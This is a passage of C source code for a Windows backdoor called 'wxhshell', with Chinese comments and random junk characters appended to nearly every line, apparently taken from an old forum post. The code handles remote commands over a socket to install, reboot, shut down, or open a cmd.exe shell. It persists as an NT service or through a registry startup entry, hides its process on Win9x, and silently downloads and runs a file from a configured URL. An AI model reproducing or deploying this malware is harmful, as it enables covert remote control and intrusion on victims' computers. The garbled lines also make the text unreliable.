  case '?': { @(E6P;+{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); KHC Fz  
    break; t]]Ig  
  } _K'Y`w']  
  // 安装 0c!^=(  
  case 'i': { `_ M+=*}  
    if(Install()) V6((5o#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b2[U3)|oO  
    else 1tiOf~)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  ^4Xsdh5  
    break; fGs\R]  
    } +_S0  
  // 卸载 '/0e!x/8  
  case 'r': { L2}<2  
    if(Uninstall()) f2SJ4"X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i1KjQ1\a+  
    else LN<rBF[_:f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {r|RH"|?Z(  
    break; ycOnPTh  
    } 3W#E$^G_v  
  // 显示 wxhshell 所在路径 nec}grA  
  case 'p': { #^9k&t#!6  
    char svExeFile[MAX_PATH]; iT O Y  
    strcpy(svExeFile,"\n\r"); l=Pw yJ  
      strcat(svExeFile,ExeFile); JTBt=u{6^  
        send(wsh,svExeFile,strlen(svExeFile),0); 1|H4]!7kE  
    break; d^!3&y&  
    } vZ$E [EG}  
  // 重启 qIQ 61><  
  case 'b': { VSV]6$~H  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]$^HGmP  
    if(Boot(REBOOT)) s] ;P<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wxPl[)E  
    else { *f>\X[wN  
    closesocket(wsh); W$;qhB  
    ExitThread(0); 41+WIa L  
    } 1ZYo-a;)  
    break; k4u/v n`&r  
    } cTRtMk%^  
  // 关机 %N(>B_t\  
  case 'd': { t?Q bi)T=z  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Hy,""Py  
    if(Boot(SHUTDOWN)) Zz/p'3?#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;~d$O M  
    else { -%%Xx5D  
    closesocket(wsh); $o\z4_I  
    ExitThread(0); T{`VUS/  
    } yJ0 %6],^g  
    break;  (#O"  
    } -Eq[J k  
  // 获取shell l Ib d9F  
  case 's': { |pG0 .p4  
    CmdShell(wsh); -KfK~P3PF  
    closesocket(wsh); /QVwZrch  
    ExitThread(0); Qo^(r$BD  
    break; v'Ehr**]+  
  } C8T0=o/-`  
  // 退出 /3SEu(d!  
  case 'x': { t6mv  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .QZjJ9pvK  
    CloseIt(wsh); B]()  
    break; |j9aTv[`  
    } qq<T~^  
  // 离开 42 lw>gzr!  
  case 'q': { L]!![v.VY  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~I;x_0iY4  
    closesocket(wsh); 2Vf242z_  
    WSACleanup(); cqJXZ.X C  
    exit(1); E"S# d&9  
    break; WG\ _eRj  
        } : #?_4D!r  
  } _#&oQFdYR  
  } b)e;Q5Z(.  
]adgOlM  
  // 提示信息 x0ipk}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K?! W9lUq  
} _6r[msH"  
  } z~~pH9=c2  
~|O;Sdo=  
  return; 8M,@Mb n  
} bfZt<-  
w2XHY>6];  
// shell模块句柄 ^0}wmxDq  
int CmdShell(SOCKET sock) 4:a ~Wlp[  
{ (?^F }]  
STARTUPINFO si; F!u)8>s+z{  
ZeroMemory(&si,sizeof(si)); \aM-m:J  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; fKr_u<|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0|j44e }  
PROCESS_INFORMATION ProcessInfo; D86F5HT}}  
char cmdline[]="cmd"; Y,}h{*9Kd  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); R13k2jLSQ  
  return 0; % 33O)<?  
} G/# <d-}_  
$/g`{O I]K  
// 自身启动模式 KA{QGaZ/  
int StartFromService(void) LiQH!yHW  
{ 8J$1N*J|  
typedef struct " j?xgV  
{ biS[GyQ  
  DWORD ExitStatus; _RxnB?  
  DWORD PebBaseAddress; $^ ^M&[b-  
  DWORD AffinityMask; XP}5i!}}7=  
  DWORD BasePriority; u1u;aG  
  ULONG UniqueProcessId; SnXM`v,  
  ULONG InheritedFromUniqueProcessId; 4xalm  
}   PROCESS_BASIC_INFORMATION; Ax~ i`  
DA>nYj-s  
PROCNTQSIP NtQueryInformationProcess; ;'V[8`Z@  
i>CR{q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !.O[@A\.-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; GIpYx`mHi  
)z z{~Cf  
  HANDLE             hProcess; u^E0u^  
  PROCESS_BASIC_INFORMATION pbi; d#bg(y\G|  
7p':a)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); mSu$1m8  
  if(NULL == hInst ) return 0; s}` |!Vyl  
%Y'/_ esH2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); S\t!7Xs%*U  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #EE<MKka  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =X[?d/[  
GtIAsC03  
  if (!NtQueryInformationProcess) return 0; R N@)nc_  
WkY>--^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); '"Dgov$q  
  if(!hProcess) return 0; !P* z=  
P^ bcc  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $Xo_C_:B  
=vqsd4  
  CloseHandle(hProcess); V!T^wh;  
xm<v"><  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :y+B;qw  
if(hProcess==NULL) return 0; ^M`>YOU2+  
8hTR*e! +  
HMODULE hMod; pU?{0xZH  
char procName[255]; ?,ZELpg n  
unsigned long cbNeeded; K\RWC4  
FU_fCL8yA  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2[jL^ XMM  
xS= _yO9-  
  CloseHandle(hProcess); ]3n, AHA  
K :1g"  
if(strstr(procName,"services")) return 1; // 以服务启动 zP_]  
9{_8cpm4  
  return 0; // 注册表启动 ]i-P-9PA4  
} 'e}uvbK  
?qju DD  
// 主模块 3>RcWy;1i  
int StartWxhshell(LPSTR lpCmdLine) 2>F\&  
{ R<"2%oY  
  SOCKET wsl; :]vA 2  
BOOL val=TRUE; /_]ltXD  
  int port=0; hHcJN  
  struct sockaddr_in door; U z"sdi  
~mtTsZc  
  if(wscfg.ws_autoins) Install(); *i@sUM?K  
/+>)"D6'  
port=atoi(lpCmdLine); k/%#>  
4w 'lu"U  
if(port<=0) port=wscfg.ws_port; ]JH64~a  
TI}}1ScA'  
  WSADATA data; %B@ !  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; b3}Q#Y\G  
85'nXYN{d  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9X(Sk%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (B@X[~  
  door.sin_family = AF_INET; grr'd+_e  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^7.XGWQ)-  
  door.sin_port = htons(port); n|WfaJQZ  
Z.quh;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ny)]GvxI  
closesocket(wsl); ^EF'TO$  
return 1; 2Zy_5>~  
} WJfES2N  
q(78fZ *X  
  if(listen(wsl,2) == INVALID_SOCKET) { cph~4wCS[U  
closesocket(wsl); +IrZ ;&oy  
return 1; {(4# )K2g%  
} jo}1u_OJ  
  Wxhshell(wsl); @D)Z{=>{=5  
  WSACleanup(); Ry&q1j  
n#4Gv|{XMD  
return 0; yG\UW&P  
&f-hG3/M  
} Vo\H<_=G  
`?"6l5d.]  
// 以NT服务方式启动  ;\qXbL7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  Hy]  
{ 6W&_2a7*  
DWORD   status = 0; zPR8f-Uvw  
  DWORD   specificError = 0xfffffff; Q8q@Y R#  
<J&7]6Z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :Xfn@>;3ui  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; F)S PaC4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )T1iN(Z  
  serviceStatus.dwWin32ExitCode     = 0; *)'Vvu<  
  serviceStatus.dwServiceSpecificExitCode = 0; /ylc*3e'4  
  serviceStatus.dwCheckPoint       = 0; px=]bALU  
  serviceStatus.dwWaitHint       = 0; 8.QSqW7t  
e"k/d<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  w_Uh  
  if (hServiceStatusHandle==0) return; o5!f#Y  
_'!kuE,*1  
status = GetLastError(); SJk>Jt=  
  if (status!=NO_ERROR) t> xd]ti  
{ kccWoU,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #H~_K}Ks  
    serviceStatus.dwCheckPoint       = 0; l +'F_a  
    serviceStatus.dwWaitHint       = 0; O)]v;9oER  
    serviceStatus.dwWin32ExitCode     = status; Qhn;`9+L  
    serviceStatus.dwServiceSpecificExitCode = specificError; =sgdkAYwP  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); F}Srn;V  
    return; fDh] tua  
  } $SY]fNJQ  
y 9L14  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~aTKG|74  
  serviceStatus.dwCheckPoint       = 0; XRtD< jlA"  
  serviceStatus.dwWaitHint       = 0; hH>``gK  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Udgqkl  
} QJGKQ2^ n  
Ak@Dyi?p  
// 处理NT服务事件,比如:启动、停止 UzG[:ic%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) BPv>$ m+.  
{ fjG&`m#"  
switch(fdwControl) h6v077qG  
{ $B (kZ  
case SERVICE_CONTROL_STOP: {tiKH=&J  
  serviceStatus.dwWin32ExitCode = 0; nZk +  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,$lemH1d  
  serviceStatus.dwCheckPoint   = 0; vXE0%QE'Q  
  serviceStatus.dwWaitHint     = 0; pG3k   
  { u<xo/=Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); JRaq!/[(  
  } 9=`Wp6Gmn  
  return; UL$}{2N,_  
case SERVICE_CONTROL_PAUSE: r6Aneg7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; dT|vYK}\  
  break; O+q/4  
case SERVICE_CONTROL_CONTINUE: }H> ^o9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; p4!:]0c  
  break; b97w^ah4gJ  
case SERVICE_CONTROL_INTERROGATE: ]=pR  
  break; R%Y`=pK>}  
}; KngTc(^_D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W-Hoyn>?2  
} 6w8" >~)Z  
"qz3u`[o  
// 标准应用程序主函数 ~^jq(:d)  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) W !w,f;  
{ r0;:t   
\NZIEu)5?  
// 获取操作系统版本 m,i,n9C->  
OsIsNt=GetOsVer(); soA|wk\A  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )SF}2?7e  
\wcam`f  
  // 从命令行安装 W!Hm~9fz  
  if(strpbrk(lpCmdLine,"iI")) Install(); `]Fx.)C#  
K_)eWf0a  
  // 下载执行文件 eV:9y  
if(wscfg.ws_downexe) { V&8Vw F^-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) '.Ed`?<p  
  WinExec(wscfg.ws_filenam,SW_HIDE); `nM/l @  
} kft #R#m  
>(uZtYM\j  
if(!OsIsNt) { voP7"Dl[  
// 如果时win9x,隐藏进程并且设置为注册表启动 u0aJu  
HideProc(); N{ Z  H  
StartWxhshell(lpCmdLine); AjcX  N  
} /Jf.y*;  
else EVp,Q"V]  
  if(StartFromService()) L pR''`2BT  
  // 以服务方式启动 \^ghdU  
  StartServiceCtrlDispatcher(DispatchTable); pyLRgD0 g  
else O5$/55PI  
  // 普通方式启动 4wC+S9I#E^  
  StartWxhshell(lpCmdLine); O"Ku1t!  
Eskb9^A  
return 0; 06$!R/K  
}
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只看该作者 1 发表于: 2006-10-10
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